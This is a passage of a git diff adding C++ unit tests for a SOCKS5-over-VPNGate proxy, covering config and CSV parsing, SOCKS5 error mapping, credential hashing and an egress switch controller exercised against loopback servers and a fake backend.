run_all(int argc, char **argv); + +// Best-effort stringification: streamable types get printed, everything else +// (IpAddress, enums without an operator<<, ...) degrades to a placeholder +// rather than failing to compile. +template +concept Streamable = requires(std::ostream &os, const T &v) { os << v; }; + +template +std::string to_str(const T &v) { + if constexpr (Streamable) { + std::ostringstream os; + os << v; + return os.str(); + } else { + return ""; + } +} +inline std::string to_str(bool v) { return v ? "true" : "false"; } +inline std::string to_str(const std::string &v) { return "\"" + v + "\""; } + +} // namespace ovgtest + +#define OVG_TEST(name) \ + static void name(); \ + static ::ovgtest::Registrar ovg_reg_##name(#name, name); \ + static void name() + +#define SKIP(reason) ::ovgtest::skip(reason) + +#define CHECK(cond) \ + do { \ + if (!(cond)) ::ovgtest::fail(__FILE__, __LINE__, "CHECK(" #cond ")"); \ + } while (0) + +#define CHECK_EQ(a, b) \ + do { \ + const auto &ovg_a = (a); \ + const auto &ovg_b = (b); \ + if (!(ovg_a == ovg_b)) \ + ::ovgtest::fail(__FILE__, __LINE__, \ + "CHECK_EQ(" #a ", " #b ")\n left = " + \ + ::ovgtest::to_str(ovg_a) + \ + "\n right = " + ::ovgtest::to_str(ovg_b)); \ + } while (0) + +#define CHECK_NE(a, b) \ + do { \ + if ((a) == (b)) \ + ::ovgtest::fail(__FILE__, __LINE__, "CHECK_NE(" #a ", " #b ")"); \ + } while (0) + +#define CHECK_LT(a, b) \ + do { \ + const auto &ovg_a = (a); \ + const auto &ovg_b = (b); \ + if (!(ovg_a < ovg_b)) \ + ::ovgtest::fail(__FILE__, __LINE__, \ + "CHECK_LT(" #a ", " #b ")\n left = " + \ + ::ovgtest::to_str(ovg_a) + \ + "\n right = " + ::ovgtest::to_str(ovg_b)); \ + } while (0) + +#define CHECK_GT(a, b) CHECK_LT(b, a) + +#define CHECK_NEAR(a, b, tol) \ + do { \ + const double ovg_d = static_cast(a) - static_cast(b); \ + if (ovg_d > (tol) || -ovg_d > (tol)) \ + ::ovgtest::fail(__FILE__, __LINE__, \ + "CHECK_NEAR(" #a ", " #b ")\n left = " + \ + ::ovgtest::to_str(static_cast(a)) + \ + "\n right = " + \ + ::ovgtest::to_str(static_cast(b))); \ + } while (0) diff --git a/tests/test_common.cpp b/tests/test_common.cpp new file mode 100644 index 0000000..864b4fe --- /dev/null +++ b/tests/test_common.cpp @@ -0,0 +1,271 @@ +#include "common/config.h" +#include "common/endpoint.h" +#include "common/error.h" +#include "common/metrics.h" +#include "harness.h" + +using namespace ovg; + +// --------------------------------------------------------------------------- +// Endpoint + +OVG_TEST(IpAddressParseV4) { + auto a = IpAddress::parse("192.168.1.1"); + CHECK(a.has_value()); + CHECK(a->is_v4()); + CHECK_EQ(a->to_string(), std::string("192.168.1.1")); + CHECK_EQ(a->v4_host_order(), uint32_t(0xC0A80101)); + CHECK_EQ(a->byte_len(), size_t(4)); +} + +OVG_TEST(IpAddressParseV6) { + auto a = IpAddress::parse("2001:db8::1"); + CHECK(a.has_value()); + CHECK(a->is_v6()); + CHECK_EQ(a->to_string(), std::string("2001:db8::1")); + CHECK_EQ(a->byte_len(), size_t(16)); +} + +OVG_TEST(IpAddressRejectsGarbage) { + CHECK(!IpAddress::parse("example.com").has_value()); + CHECK(!IpAddress::parse("999.1.1.1").has_value()); + CHECK(!IpAddress::parse("").has_value()); +} + +OVG_TEST(IpAddressFromBytes) { + const uint8_t b[4] = {8, 8, 4, 4}; + auto a = IpAddress::from_bytes_v4(b); + CHECK_EQ(a.to_string(), std::string("8.8.4.4")); + CHECK_EQ(a, *IpAddress::parse("8.8.4.4")); +} + +OVG_TEST(EndpointParseForms) { + auto v4 = Endpoint::parse("1.2.3.4:80"); + CHECK(v4.has_value()); + CHECK(v4->kind() == Endpoint::Kind::Ipv4); + CHECK_EQ(v4->port(), uint16_t(80)); + CHECK_EQ(v4->to_string(), std::string("1.2.3.4:80")); + + auto v6 = Endpoint::parse("[::1]:8080"); + CHECK(v6.has_value()); + CHECK(v6->kind() == Endpoint::Kind::Ipv6); + CHECK_EQ(v6->port(), uint16_t(8080)); + CHECK_EQ(v6->to_string(), std::string("[::1]:8080")); + + auto dom = Endpoint::parse("example.com:443"); + CHECK(dom.has_value()); + CHECK(dom->is_domain()); + CHECK_EQ(dom->domain(), std::string("example.com")); + CHECK_EQ(dom->host_string(), std::string("example.com")); +} + +OVG_TEST(EndpointDomainStaysUnresolved) { + // The whole point of keeping Domain as a kind: no local DNS lookup happens, + // so nothing leaks outside the tunnel. + Endpoint e("example.com", 443); + CHECK(e.is_domain()); + CHECK(!e.address().valid()); +} + +OVG_TEST(EndpointRejectsBadInput) { + CHECK(!Endpoint::parse("1.2.3.4").has_value()); // no port + CHECK(!Endpoint::parse("1.2.3.4:99999").has_value()); // port out of range + CHECK(!Endpoint::parse("").has_value()); +} + +// --------------------------------------------------------------------------- +// Errors + +OVG_TEST(ErrorCodesMapToSocks5Replies) { + auto rep = [](Error e) { return int(socks5_reply_for(make_error_code(e))); }; + CHECK_EQ(rep(Error::Ok), 0x00); + CHECK_EQ(rep(Error::ConnectionRefused), 0x05); + CHECK_EQ(rep(Error::NetworkUnreachable), 0x03); + CHECK_EQ(rep(Error::HostUnreachable), 0x04); + CHECK_EQ(rep(Error::ResolveFailed), 0x04); + CHECK_EQ(rep(Error::Timeout), 0x06); // TTL expired + CHECK_EQ(rep(Error::NotSupported), 0x07); + // A dead or draining egress looks like an unreachable network to the client. + CHECK_EQ(rep(Error::EgressDraining), 0x03); + CHECK_EQ(rep(Error::EgressGone), 0x03); + // Anything unmapped must still be a valid REP value, not a random byte. + CHECK_EQ(rep(Error::Internal), 0x01); +} + +OVG_TEST(Socks5ReplyMapsSystemErrors) { + // asio hands us std::errc, not our category. + CHECK_EQ(int(socks5_reply_for(std::make_error_code( + std::errc::connection_refused))), + 0x05); + CHECK_EQ(int(socks5_reply_for(std::make_error_code(std::errc::timed_out))), + 0x06); + CHECK_EQ(int(socks5_reply_for(std::error_code())), 0x00); +} + +OVG_TEST(ErrorCodesHaveMessages) { + const std::error_code ec = Error::EgressDraining; // implicit conversion + CHECK(ec); // non-zero + CHECK(!ec.message().empty()); + CHECK(!make_error_code(Error::Ok)); +} + +// --------------------------------------------------------------------------- +// Metrics + +OVG_TEST(MetricsHandlesAreStable) { + auto *a = metrics::counter("ovg_test_thing_total", "help"); + auto *b = metrics::counter("ovg_test_thing_total"); + CHECK_EQ(a, b); + a->inc(3); + CHECK_EQ(b->value(), uint64_t(3)); +} + +OVG_TEST(MetricsRenderPrometheus) { + metrics::gauge("ovg_test_gauge", "a gauge")->set(42); + const auto text = metrics::Registry::instance().render_prometheus(); + CHECK_NE(text.find("# TYPE ovg_test_gauge gauge"), std::string::npos); + CHECK_NE(text.find("ovg_test_gauge 42"), std::string::npos); +} + +// --------------------------------------------------------------------------- +// Config + +OVG_TEST(ParseDurationUnits) { + Millis m{}; + CHECK(parse_duration("250ms", &m)); + CHECK_EQ(m.count(), int64_t(250)); + CHECK(parse_duration("30s", &m)); + CHECK_EQ(m.count(), int64_t(30000)); + CHECK(parse_duration("5m", &m)); + CHECK_EQ(m.count(), int64_t(300000)); + CHECK(parse_duration("2h", &m)); + CHECK_EQ(m.count(), int64_t(7200000)); + CHECK(parse_duration("1d", &m)); + CHECK_EQ(m.count(), int64_t(86400000)); + // Bare number = seconds. + CHECK(parse_duration("45", &m)); + CHECK_EQ(m.count(), int64_t(45000)); +} + +OVG_TEST(ParseDurationRejectsGarbage) { + Millis m{}; + CHECK(!parse_duration("", &m)); + CHECK(!parse_duration("soon", &m)); + CHECK(!parse_duration("-5s", &m)); + CHECK(!parse_duration("5 fortnights", &m)); +} + +OVG_TEST(ConfigDefaultsRefuseAnonymousProxy) { + // Secure by default: auth is on and there are no users, so a config that + // defines neither must be rejected rather than quietly opening an open relay. + Config c; + std::string err; + CHECK(!c.validate(&err)); + CHECK_NE(err.find("require_auth"), std::string::npos); + + CHECK_EQ(c.socks5.listen_port, uint16_t(1080)); + CHECK_EQ(c.socks5.listen_address, std::string("127.0.0.1")); + CHECK(c.socks5.require_auth); + CHECK(c.socks5.udp_associate_enabled); + + // With a user it validates. + c.socks5.users.push_back(make_credential("alice", "hunter2")); + CHECK(c.validate(&err)); +} + +OVG_TEST(ConfigLoadsSections) { + const char *text = R"( +# a comment +[socks5] +listen_address = 0.0.0.0 +listen_port = 1081 +advertise_address = 203.0.113.7 +idle_timeout = 90s +max_sessions = 2000 + +[selector] +country_allow = JP, KR, SG +prefer_udp = false +probe_candidates = 20 + +[switch] +mode = hard +drain_grace = 30s + +[users] +alice = hunter2 +)"; + Config c; + std::string err; + CHECK(Config::load_string(text, &c, &err)); + CHECK_EQ(err, std::string("")); + + CHECK_EQ(c.socks5.listen_address, std::string("0.0.0.0")); + CHECK_EQ(c.socks5.listen_port, uint16_t(1081)); + CHECK_EQ(c.socks5.idle_timeout.count(), int64_t(90000)); + CHECK_EQ(c.socks5.max_sessions, size_t(2000)); + + CHECK_EQ(c.selector.country_allow.size(), size_t(3)); + CHECK_EQ(c.selector.country_allow[2], std::string("SG")); + CHECK(!c.selector.prefer_udp); + CHECK_EQ(c.selector.probe_candidates, size_t(20)); + + CHECK(c.switching.mode == SwitchConfig::Mode::Hard); + CHECK_EQ(c.switching.drain_grace.count(), int64_t(30000)); + + CHECK_EQ(c.socks5.users.size(), size_t(1)); + CHECK_EQ(c.socks5.users[0].username, std::string("alice")); + CHECK(verify_credential(c.socks5.users[0], "hunter2")); +} + +OVG_TEST(ConfigRejectsUnknownKey) { + // A key nobody reads is a key that silently does nothing. Catch it at load. + Config c; + std::string err; + CHECK(!Config::load_string( + "[socks5]\nlisten_prot = 1080\n[users]\na = b\n", &c, &err)); + CHECK_NE(err.find("socks5.listen_prot"), std::string::npos); +} + +OVG_TEST(ConfigAcceptsUserDefinedSections) { + // [users] and [log.modules] have keys we cannot enumerate; they must not be + // mistaken for typos by the unknown-key check. + Config c; + std::string err; + CHECK(Config::load_string( + "[log.modules]\nsocks5 = debug\nselector = warn\n" + "[users]\nalice = a\nbob = b\n", + &c, &err)); + CHECK_EQ(err, std::string("")); + CHECK_EQ(c.socks5.users.size(), size_t(2)); + CHECK(c.logging.module_levels.at("socks5") == log::Level::Debug); + CHECK(c.logging.module_levels.at("selector") == log::Level::Warn); +} + +OVG_TEST(ConfigRejectsBadValues) { + Config c; + std::string err; + CHECK(!Config::load_string("[socks5]\nlisten_port = eighty\n[users]\na=b\n", + &c, &err)); + CHECK(!Config::load_string("[switch]\nmode = sideways\n[users]\na=b\n", &c, + &err)); + CHECK(!Config::load_string("[dns]\nfallback_servers = dns.example.com\n" + "[users]\na=b\n", + &c, &err)); + CHECK_NE(err.find("IP literals"), std::string::npos); +} + +OVG_TEST(CredentialsAreSaltedAndVerify) { + auto c = make_credential("alice", "hunter2"); + CHECK_EQ(c.username, std::string("alice")); + CHECK(!c.salt_hex.empty()); + CHECK_EQ(c.hash_hex.size(), size_t(64)); // sha256 hex + CHECK(verify_credential(c, "hunter2")); + CHECK(!verify_credential(c, "hunter3")); + CHECK(!verify_credential(c, "")); + + // Same password, different salt => different hash. + auto d = make_credential("alice", "hunter2"); + CHECK_NE(c.salt_hex, d.salt_hex); + CHECK_NE(c.hash_hex, d.hash_hex); +} diff --git a/tests/test_csv_parser.cpp b/tests/test_csv_parser.cpp new file mode 100644 index 0000000..2d225dc --- /dev/null +++ b/tests/test_csv_parser.cpp @@ -0,0 +1,248 @@ +// The VPNGate feed is hostile in a boring way: very long lines, volunteer-typed +// free text, and occasional rows that are simply broken. These tests pin the +// two behaviours we actually depend on -- no line-length assumptions, and one +// bad row never costs us the rest of the list. +#include +#include + +#include "harness.h" +#include "vpngate/csv_parser.h" + +using namespace ovg::vpngate; + +namespace { + +std::string read_sample() { + std::ifstream in(ovgtest::data_path("vpngate_sample.csv"), std::ios::binary); + CHECK(in.good()); + std::ostringstream ss; + ss << in.rdbuf(); + return ss.str(); +} + +} // namespace + +OVG_TEST(SplitCsvBasic) { + auto f = split_csv_line("a,b,c"); + CHECK_EQ(f.size(), size_t(3)); + CHECK_EQ(f[0], std::string("a")); + CHECK_EQ(f[2], std::string("c")); +} + +OVG_TEST(SplitCsvEmptyFields) { + auto f = split_csv_line("a,,c,"); + CHECK_EQ(f.size(), size_t(4)); + CHECK_EQ(f[1], std::string("")); + CHECK_EQ(f[3], std::string("")); +} + +OVG_TEST(SplitCsvQuotedCommaAndDoubledQuote) { + auto f = split_csv_line(R"(a,"b,still b","he said ""hi""",d)"); + CHECK_EQ(f.size(), size_t(4)); + CHECK_EQ(f[1], std::string("b,still b")); + CHECK_EQ(f[2], std::string("he said \"hi\"")); + CHECK_EQ(f[3], std::string("d")); +} + +OVG_TEST(SplitCsvStripsTrailingCr) { + auto f = split_csv_line("a,b\r"); + CHECK_EQ(f.size(), size_t(2)); + CHECK_EQ(f[1], std::string("b")); +} + +OVG_TEST(SplitCsvToleratesStrayQuote) { + // Volunteers type things like: Operator: 5" floppy fan club + auto f = split_csv_line("a,5\" floppy,c"); + CHECK_EQ(f.size(), size_t(3)); + CHECK_EQ(f[2], std::string("c")); +} + +OVG_TEST(Base64RoundTrip) { + std::string out; + CHECK(base64_decode("aGVsbG8gd29ybGQ=", &out)); + CHECK_EQ(out, std::string("hello world")); + + CHECK(base64_decode("", &out)); + CHECK_EQ(out, std::string("")); + + // Embedded newlines are common in the wild; they must be ignored, not fatal. + CHECK(base64_decode("aGVs\nbG8g\nd29ybGQ=", &out)); + CHECK_EQ(out, std::string("hello world")); +} + +OVG_TEST(Base64RejectsGarbage) { + std::string out; + CHECK(!base64_decode("not*valid*base64", &out)); +} + +OVG_TEST(ExtractRemotesHonoursProtoRegardlessOfOrder) { + // "proto" appears *after* the remotes here. A single-pass parser would + // mislabel both as the default TCP. + const char *profile = + "client\n" + "dev tun\n" + "remote 1.2.3.4 1194\n" + "remote 1.2.3.4 443\n" + "proto udp\n" + "resolv-retry infinite\n"; + auto r = extract_remotes(profile); + CHECK_EQ(r.size(), size_t(2)); + CHECK(r[0].proto == Proto::Udp); + CHECK(r[1].proto == Proto::Udp); + CHECK_EQ(r[0].port, uint16_t(1194)); + CHECK_EQ(r[1].port, uint16_t(443)); +} + +OVG_TEST(ExtractRemotesPerRemoteProtoWins) { + const char *profile = + "proto tcp\n" + "remote 1.2.3.4 1194 udp\n" + "remote 5.6.7.8 443\n"; + auto r = extract_remotes(profile); + CHECK_EQ(r.size(), size_t(2)); + CHECK(r[0].proto == Proto::Udp); + CHECK(r[1].proto == Proto::Tcp); +} + +OVG_TEST(ExtractRemotesUnderstandsTcpClient) { + const char *profile = "proto tcp-client\nremote 1.2.3.4 443\n"; + auto r = extract_remotes(profile); + CHECK_EQ(r.size(), size_t(1)); + CHECK(r[0].proto == Proto::Tcp); +} + +OVG_TEST(ExtractRemotesAppliesBarePortDirective) { + const char *profile = "port 1194\nremote 1.2.3.4\nproto udp\n"; + auto r = extract_remotes(profile); + CHECK_EQ(r.size(), size_t(1)); + CHECK_EQ(r[0].port, uint16_t(1194)); +} + +OVG_TEST(ExtractRemotesIgnoresInlineBlocks) { + // Two traps. A block declares an alternative remote we never + // scored -- and the sanitizer strips those blocks outright, so counting it + // here would make the node list and the profile we actually dial disagree. + // A PEM body is arbitrary base64 that can start a line with any word. + const char *profile = + "remote 1.2.3.4 443 tcp\n" + "\n" + "remote 9.9.9.9 1194 udp\n" + "\n" + "\n" + "remote 8.8.8.8 53 udp\n" + "proto udp\n" + "-----END CERTIFICATE-----\n" + "\n"; + auto r = extract_remotes(profile); + CHECK_EQ(r.size(), size_t(1)); + CHECK_EQ(r[0].host, std::string("1.2.3.4")); + CHECK(r[0].proto == Proto::Tcp); +} + +OVG_TEST(ExtractRemotesMatchesBlockTagsCaseInsensitively) { + const char *profile = + "remote 1.2.3.4 443 tcp\n" + "\n" + "remote 9.9.9.9 1194 udp\n" + "\n" + "remote 5.6.7.8 443 tcp\n"; + auto r = extract_remotes(profile); + CHECK_EQ(r.size(), size_t(2)); + CHECK_EQ(r[1].host, std::string("5.6.7.8")); +} + +OVG_TEST(ParseRejectsHtmlErrorPage) { + ParseResult res; + std::string err; + CHECK(!parse_node_list("503", &res, &err)); + CHECK(!err.empty()); +} + +OVG_TEST(ParseRejectsMissingMagic) { + ParseResult res; + std::string err; + CHECK(!parse_node_list("#HostName,IP\nfoo,1.2.3.4\n", &res, &err)); +} + +OVG_TEST(ParseSkipsBadRowsAndKeepsGoing) { + // Row 2 is truncated, row 3 has undecodable base64. Row 1 and 4 must survive. + std::string good_profile_b64; + { + // "client\nremote 1.2.3.4 443 tcp\n" base64-encoded. + good_profile_b64 = "Y2xpZW50CnJlbW90ZSAxLjIuMy40IDQ0MyB0Y3AK"; + } + std::ostringstream body; + body << "*vpn_servers\n" + << "#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort," + "NumVpnSessions,Uptime,TotalUsers,TotalTraffic,LogType,Operator," + "Message,OpenVPN_ConfigData_Base64\n" + << "ok1,1.1.1.1,100,10,1000,Japan,JP,1,1000,1,1,2weeks,op,," + << good_profile_b64 << "\n" + << "truncated,2.2.2.2,100\n" + << "badb64,3.3.3.3,100,10,1000,Japan,JP,1,1000,1,1,2weeks,op,,!!!!\n" + << "ok2,4.4.4.4,200,20,2000,Korea,KR,2,2000,2,2,2weeks,op,," + << good_profile_b64 << "\n" + << "*\n"; + + ParseResult res; + std::string err; + CHECK(parse_node_list(body.str(), &res, &err)); + CHECK_EQ(res.nodes.size(), size_t(2)); + CHECK_EQ(res.nodes[0].host_name, std::string("ok1")); + CHECK_EQ(res.nodes[1].host_name, std::string("ok2")); + CHECK_EQ(res.stats.data_rows, size_t(4)); + CHECK_EQ(res.stats.accepted, size_t(2)); + CHECK_EQ(res.stats.skipped_columns, size_t(1)); + CHECK_EQ(res.stats.skipped_base64, size_t(1)); +} + +OVG_TEST(ParseRealSampleFeed) { + const auto body = read_sample(); + CHECK_GT(body.size(), size_t(1000000)); + + ParseResult res; + std::string err; + CHECK(parse_node_list(body, &res, &err)); + + // The captured feed had 96 data rows; every one of them should parse. + CHECK_GT(res.nodes.size(), size_t(80)); + CHECK_EQ(res.stats.accepted, res.stats.data_rows); + + for (const auto &n : res.nodes) { + CHECK(!n.host_name.empty()); + CHECK(!n.ip.empty()); + CHECK(!n.remotes.empty()); + // openvpn3 needs the whole profile, inline certs and all. + CHECK_GT(n.profile.size(), size_t(1000)); + CHECK_NE(n.profile.find(""), std::string::npos); + CHECK_NE(n.id().find('@'), std::string::npos); + } +} + +OVG_TEST(RealSampleHasVeryLongLines) { + // Guards the requirement explicitly: if this ever fits in a 4 KB buffer, the + // test data stopped being representative. + const auto body = read_sample(); + size_t longest = 0, start = 0; + for (size_t i = 0; i <= body.size(); ++i) { + if (i == body.size() || body[i] == '\n') { + longest = std::max(longest, i - start); + start = i + 1; + } + } + CHECK_GT(longest, size_t(8192)); +} + +OVG_TEST(RealSampleNodesOfferTcp443) { + // The tunnel design assumes almost every node exposes TCP; the prober cannot + // time a UDP-only node (see selector/prober.h). + const auto body = read_sample(); + ParseResult res; + std::string err; + CHECK(parse_node_list(body, &res, &err)); + + size_t with_tcp = 0; + for (const auto &n : res.nodes) + if (n.has_tcp()) ++with_tcp; + CHECK_GT(with_tcp, res.nodes.size() * 9 / 10); +} diff --git a/tests/test_egress.cpp b/tests/test_egress.cpp new file mode 100644 index 0000000..9a13200 --- /dev/null +++ b/tests/test_egress.cpp @@ -0,0 +1,1055 @@ +// Egress tests: the direct backend end to end, and the switch controller +// against a fake backend. +// +// The switch controller is the subtlest code in the program and the hardest to +// observe in production -- it fires rarely, on a schedule set by a volunteer +// server going bad. Testing it against a real VPNGate node would measure the +// weather. So EgressManager takes an egress factory (egress_manager.h), and +// everything below drives the state machine through a fake whose failures are +// exactly reproducible. +// +// The *selector* underneath is real, not faked: node lists, scoring, and the +// latency prober all run for real, aimed at a loopback listener this file +// starts. That keeps the seam at one place -- "how a node becomes a tunnel" -- +// instead of stubbing out half the program. + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/error.h" +#include "egress/direct_egress.h" +#include "egress/egress_manager.h" +#include "harness.h" +#include "selector/history.h" +#include "selector/selector.h" +#include "vpngate/node_store.h" + +using namespace ovg; +using namespace std::chrono_literals; + +namespace { + +using Clock = std::chrono::steady_clock; + +bool run_until(asio::io_context &io, const std::function &pred, + std::chrono::milliseconds budget) { + const auto deadline = Clock::now() + budget; + while (!pred() && Clock::now() < deadline) { + io.restart(); + io.run_for(2ms); + } + return pred(); +} + +void settle(asio::io_context &io, std::chrono::milliseconds d = 40ms) { + const auto deadline = Clock::now() + d; + while (Clock::now() < deadline) { + io.restart(); + io.run_for(2ms); + } +} + +// --------------------------------------------------------------------------- +// Loopback peers +// --------------------------------------------------------------------------- + +// Accepts forever and echoes. Used both as a target for the direct egress and +// as something the selector's latency prober can actually complete a handshake +// against. +class EchoServer { + public: + explicit EchoServer(asio::io_context &io) + : io_(io), acceptor_(io, asio::ip::tcp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)) { + accept(); + } + + uint16_t port() const { return acceptor_.local_endpoint().port(); } + void stop() { + std::error_code ignored; + acceptor_.close(ignored); + } + + private: + struct Conn : std::enable_shared_from_this { + explicit Conn(asio::ip::tcp::socket s) : sock(std::move(s)) {} + asio::ip::tcp::socket sock; + char buf[512]; + void go() { + auto self = shared_from_this(); + sock.async_read_some( + asio::buffer(buf), [self](const std::error_code &ec, size_t n) { + if (ec) return; + asio::async_write(self->sock, asio::buffer(self->buf, n), + [self](const std::error_code &wec, size_t) { + if (!wec) self->go(); + }); + }); + } + }; + + void accept() { + acceptor_.async_accept([this](const std::error_code &ec, + asio::ip::tcp::socket s) { + if (ec) return; + std::make_shared(std::move(s))->go(); + accept(); + }); + } + + asio::io_context &io_; + asio::ip::tcp::acceptor acceptor_; +}; + +class UdpEcho { + public: + explicit UdpEcho(asio::io_context &io) + : sock_(io, asio::ip::udp::endpoint(asio::ip::make_address("127.0.0.1"), + 0)) { + recv(); + } + uint16_t port() const { return sock_.local_endpoint().port(); } + void stop() { + std::error_code ignored; + sock_.close(ignored); + } + + private: + void recv() { + sock_.async_receive_from(asio::buffer(buf_), from_, + [this](const std::error_code &ec, size_t n) { + if (ec) return; + std::error_code ignored; + sock_.send_to(asio::buffer(buf_, n), from_, 0, + ignored); + recv(); + }); + } + asio::ip::udp::socket sock_; + asio::ip::udp::endpoint from_; + char buf_[2048]; +}; + +// --------------------------------------------------------------------------- +// A synthetic node list whose remotes point at a loopback listener +// --------------------------------------------------------------------------- + +std::string base64_encode(const std::string &in) { + static const char *tbl = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + std::string out; + size_t i = 0; + for (; i + 2 < in.size(); i += 3) { + const uint32_t v = (static_cast(in[i]) << 16) | + (static_cast(in[i + 1]) << 8) | + static_cast(in[i + 2]); + out += tbl[(v >> 18) & 63]; + out += tbl[(v >> 12) & 63]; + out += tbl[(v >> 6) & 63]; + out += tbl[v & 63]; + } + if (i < in.size()) { + uint32_t v = static_cast(in[i]) << 16; + const bool two = i + 1 < in.size(); + if (two) v |= static_cast(in[i + 1]) << 8; + out += tbl[(v >> 18) & 63]; + out += tbl[(v >> 12) & 63]; + out += two ? tbl[(v >> 6) & 63] : '='; + out += '='; + } + return out; +} + +struct FakeFeed { + std::string path; + std::vector ids; // node ids, best prior first + + ~FakeFeed() { + if (!path.empty()) std::remove(path.c_str()); + } +}; + +// Three nodes, all of whose OpenVPN profiles say "connect to this loopback +// port". Nothing here ever speaks OpenVPN -- the port only has to complete a +// TCP handshake, which is exactly what the prober measures. +std::string feed_csv(uint16_t port) { + std::string csv = + "*vpn_servers\n" + "#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,NumVpnSessions," + "Uptime,TotalUsers,TotalTraffic,LogType,Operator,Message," + "OpenVPN_ConfigData_Base64\n"; + + struct Row { + const char *host; + const char *ip; + const char *score; + const char *country_long; + const char *country_short; + }; + const Row rows[] = { + {"fake-a", "192.0.2.1", "9000000", "Japan", "JP"}, + {"fake-b", "192.0.2.2", "6000000", "Korea", "KR"}, + {"fake-c", "192.0.2.3", "3000000", "Taiwan", "TW"}, + }; + + for (const auto &r : rows) { + const std::string profile = + std::string("client\ndev tun\nproto tcp\nremote 127.0.0.1 ") + + std::to_string(port) + " tcp\nnobind\n"; + csv += std::string(r.host) + "," + r.ip + "," + r.score + + ",10,100000000," + r.country_long + "," + r.country_short + + ",50,86400000,1000,100000,2weeks,tester,," + + base64_encode(profile) + "\n"; + } + csv += "*\n"; + return csv; +} + +std::shared_ptr write_feed(uint16_t port) { + auto feed = std::make_shared(); + feed->path = "/tmp/ovg_test_feed_" + std::to_string(port) + ".csv"; + feed->ids = {"fake-a@192.0.2.1", "fake-b@192.0.2.2", "fake-c@192.0.2.3"}; + + std::ofstream out(feed->path, std::ios::trunc); + out << feed_csv(port); + out.close(); + return feed; +} + +// Serves the node list over HTTP -- but only once a test says so. Before that +// it answers 503, which is how the store sees a cold start: the process is up, +// the API is reachable, and there is still no directory to select from. +class FeedServer { + public: + explicit FeedServer(asio::io_context &io) + : acceptor_(io, asio::ip::tcp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)) { + acceptor_.listen(); + accept(); + } + + std::string url() const { + return "http://127.0.0.1:" + + std::to_string(acceptor_.local_endpoint().port()) + "/api/iphone/"; + } + void arm(std::string csv) { body_ = std::move(csv); } + void stop() { + std::error_code ec; + acceptor_.close(ec); + } + + private: + void accept() { + auto sock = + std::make_shared(acceptor_.get_executor()); + acceptor_.async_accept(*sock, [this, sock](std::error_code ec) { + if (ec) return; + auto resp = std::make_shared( + body_.empty() + ? std::string("HTTP/1.1 503 Service Unavailable\r\n" + "Content-Length: 0\r\n\r\n") + : "HTTP/1.1 200 OK\r\nContent-Length: " + + std::to_string(body_.size()) + "\r\n\r\n" + body_); + auto buf = std::make_shared(); + asio::async_read_until( + *sock, *buf, "\r\n\r\n", [sock, resp, buf](std::error_code, size_t) { + asio::async_write(*sock, asio::buffer(*resp), + [sock, resp](std::error_code, size_t) { + std::error_code ig; + sock->shutdown( + asio::ip::tcp::socket::shutdown_both, ig); + sock->close(ig); + }); + }); + accept(); + }); + } + + asio::ip::tcp::acceptor acceptor_; + std::string body_; +}; + +// --------------------------------------------------------------------------- +// A fake egress: no tunnel, no sockets, fully observable +// --------------------------------------------------------------------------- + +class FakeEgress final : public egress::Egress { + public: + FakeEgress(std::string node_id, asio::io_context &io) + : node_id_(std::move(node_id)), io_(io), label_(node_id_) {} + + void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &, + Millis, ConnectHandler h) override { + asio::post(ex, [h = std::move(h)]() mutable { + h(make_error_code(Error::NotSupported), nullptr); + }); + } + void async_bind_udp(const asio::any_io_executor &ex, + UdpBindHandler h) override { + asio::post(ex, [h = std::move(h)]() mutable { + h(make_error_code(Error::NotSupported), nullptr); + }); + } + void async_resolve(const asio::any_io_executor &ex, const std::string &, + ResolveHandler h) override { + asio::post(ex, [h = std::move(h)]() mutable { + h(make_error_code(Error::NotSupported), {}); + }); + } + + egress::EgressState state() const override { return state_.load(); } + + egress::EgressStats stats() const override { + egress::EgressStats s; + s.node_id = node_id_; + s.proto = "fake"; + return s; + } + + std::string detail() const override { return {}; } + + void begin_drain() override { + auto want = egress::EgressState::Ready; + state_.compare_exchange_strong(want, egress::EgressState::Draining); + drained.store(true); + } + + void shutdown(std::function on_done) override { + state_.store(egress::EgressState::Down); + shutdowns.fetch_add(1); + if (on_shutdown) on_shutdown(node_id_); + if (on_done) asio::post(io_, std::move(on_done)); + } + + const std::string &label() const override { return label_; } + + std::atomic state_{egress::EgressState::Ready}; + std::atomic drained{false}; + std::atomic shutdowns{0}; + // Reported out rather than polled, because the interesting case is the one + // where the test is deliberately holding no reference to this object. + std::function on_shutdown; + + private: + std::string node_id_; + asio::io_context &io_; + std::string label_; +}; + +// Everything a manager test needs, wired up once. +struct ManagerFixture { + asio::io_context io; + EchoServer echo{io}; + // Unused unless a test points cfg.vpngate.api_urls at it; see the cold-start + // test. Constructed unconditionally because it needs `io`, and `io` is only + // in scope inside the fixture. + FeedServer feed_srv{io}; + std::shared_ptr feed; + Config cfg; + std::unique_ptr store; + std::unique_ptr history; + std::unique_ptr selector; + std::unique_ptr mgr; + + // Node ids the factory should refuse, and with which error. + std::map fail_with; + // Node ids that fail exactly once, then succeed. Keyed by id, value is the + // remaining number of failures. + std::map fail_once; + + // Labels only: holding an egress here would keep the reference count off zero + // and the drain would never finish. + std::vector> promotions; + std::vector drain_expired; + std::vector shut_down; + + // `tweak` runs after the defaults are in place and before the store is built, + // which is the only window in which cfg.vpngate still matters: NodeStore + // copies it and loads the cache in its constructor. + explicit ManagerFixture(std::function tweak = {}) { + feed = write_feed(echo.port()); + + cfg.vpngate.api_urls = {"http://127.0.0.1:1/"}; + cfg.vpngate.cache_path = feed->path; + cfg.vpngate.cache_max_age = std::chrono::hours(24); + cfg.vpngate.refresh_interval = std::chrono::hours(24); + cfg.selector.probe_samples = 1; + cfg.selector.probe_timeout = 500ms; + cfg.switching.min_interval = 0ms; + cfg.switching.backoff_initial = 10ms; + cfg.switching.backoff_max = 40ms; + + if (tweak) tweak(*this); + + store = std::make_unique(io, cfg.vpngate); + store->start(); + history = std::make_unique("", cfg.selector); + selector = std::make_unique(io, cfg.selector, *store, + *history); + } + + ~ManagerFixture() { + if (mgr) { + bool done = false; + mgr->shutdown([&] { done = true; }); + run_until(io, [&] { return done; }, 2s); + } + store->stop(); + echo.stop(); + feed_srv.stop(); + settle(io); + } + + // Built after the test has 